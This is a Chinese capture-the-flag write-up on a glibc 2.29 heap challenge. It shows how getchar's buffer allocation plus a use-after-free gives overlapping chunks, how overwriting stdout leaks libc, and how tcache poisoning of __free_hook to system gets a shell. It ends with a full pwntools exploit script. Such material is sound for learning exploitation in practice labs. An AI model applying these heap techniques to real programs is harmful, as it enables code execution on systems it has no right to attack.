最近总是遇到各种scanf,printf等函数的非预期解,总的来说都是缓冲区不够了申请堆块来放置数据。
本次用一个例题来阐述getchar函数引发malloc的复现。

题目地址
本题测试环境为libc2.29

测试漏洞

首先我们将程序拖进IDA里,发现是一个菜单题,但是只有add与free,没有打印。
在最开始有一个函数

但是只给了我们一个字节,也就是第二个字节。
free函数中存在UAF

add函数中限制了申请heap的大小,最多为0x78。
edit函数中让你输入y才会退出。

利用思路

由于我们没有打印函数,所以我们需要让heap中出来libc空间地址,利用更改后两字节来实现对stdout地址的爆破,然后利用堆重叠来更改stdout结构体来实现
打印libc空间地址。然后就是常规实现shell操作。

实现堆重叠

这里我们利用edit函数的getchar来实现申请已经释放的堆块。
首先填满tcache

1
2
3
4
5
6
for i in range(7):
add(0x38,'A\n') #0 - 6
add(0x38)#7
add(0x38)#8
for i in range(9):
free(i)

此时堆结构为

这时,我们调用edit的getchar函数来实现申请出fastbin里面的堆块。

1
2
3
4
5
def ex(con):
p.sendlineafter('exit',str(3))
p.sendafter('sure?',con)

ex('A'*0x38+p64(0x41))

此时堆结构为


如图,我们将fastbin里的堆块申请并合并,大小为0x1010。
此时,我们拿有0x1010块里的两个指针,我们通过将0x1010块free,并且申请指定大小的chunk来切割unsortbin,来实现将main_arena地址指向第二个指针。

1
2
3
4
5
6
add(0x18,'A\n')#9 防止0x1010块与top_chunk合并
free(7) # free 0x1010块
add(0x38)#10 #申请tcache,
free(8) # free 即将带有main_arena地址的快
add(0x18)#11
add(0x18)#12 申请chunk,令main_arena指向8

此时tcache链表为chunk8->main_arena,
unsortbin为chunk8.

泄露地址

接下来我们再次使用edit函数申请unsortbin块,并且将chunk8的fd指针指向stdout

1
2
3
for i in range(0x3f):
ex("") #清空流,不然没法输入
ex('A'*0x18+p64(0x21)+'A'*0x20+"\x60\x27")#后三个比特是固定的,爆破一个比特也就是1/16概率

当后两个字节输入正确时,此时tcache链表为chunk8->stdout

这个时候我们更改stdout结构体就可以实现泄露libc_addr

1
2
3
4
5
6
add(0x38)#13
add(0x38,p64(0xfbad1800)+p64(0)*3+'\x00')#14
p.recvuntil(p64(0xfbad1800))
p.recvuntil("\x7f")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc_base = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')-131-libc.symbols["_IO_2_1_stdout_"]

实现shell

到这一步其实已经很明朗了。
我们释放掉之前切割unsortbin使用的0x18的chunk,然后利用edit来更改chunk的fd为free_hook,最后更改就行。

1
2
3
4
5
6
7
8
9
10
free(12,False)
for i in range(0x41):
print i
ex("")

ex("A"*0x20+p64(libc_base+libc.symbols["__free_hook"]))
#gdb.attach(p)
add(0x18,'/bin/sh\x00',False)#15
add(0x18,p64(libc_base+libc.symbols["system"]),False)
free(15,False)

这里加False的原因是由于我们更改stdout导致菜单输入没了最后的回车符。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('new_heap')

p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./new_heap')

else:
p = remote(ip,port)
def menu(idx,flag=True):
if flag:
p.sendlineafter("3.exit\n",str(idx))
else:
p.sendlineafter("3.exit",str(idx))
def add(size,content="A",flag=True):
menu(1,flag)
p.sendlineafter("size:",str(size))
p.sendafter("content:",content)
def free(idx,flag=True):
menu(2,flag)
p.sendlineafter("index:",str(idx))
def ex(con):
p.sendlineafter('exit',str(3))
p.sendafter('sure?',con)
for i in range(7):
add(0x38,'A\n') #0 - 6
add(0x38)#7
add(0x38)#8
for i in range(9):
free(i) #
ex('A'*0x38+p64(0x41))#merge
add(0x18,'A\n')#9
free(7)
add(0x38)#10
free(8)
add(0x18)#11
add(0x18)#12
for i in range(0x3f):
ex("")
ex('A'*0x18+p64(0x21)+'A'*0x20+"\x60\x27")

add(0x38)#13
add(0x38,p64(0xfbad1800)+p64(0)*3+'\x00')#14
p.recvuntil(p64(0xfbad1800))
p.recvuntil("\x7f")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc_base = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')-131-libc.symbols["_IO_2_1_stdout_"]
print "libc_base=",p64(libc_base)
free(12,False)
for i in range(0x41):
print i
ex("")

ex("A"*0x20+p64(libc_base+libc.symbols["__free_hook"]))
#gdb.attach(p)
add(0x18,'/bin/sh\x00',False)#15
add(0x18,p64(libc_base+libc.symbols["system"]),False)
free(15,False)

p.interactive()
if __name__ == '__main__':
while(1):
try:
pwn('buuoj.cn',29409,1)
except:
p.close()
continue

总结

getchar也可以实现malloc的申请,并且申请出来的chunk还可以反复更改。以后遇到使用了getchar函数的堆题,思路可以往这里靠一下。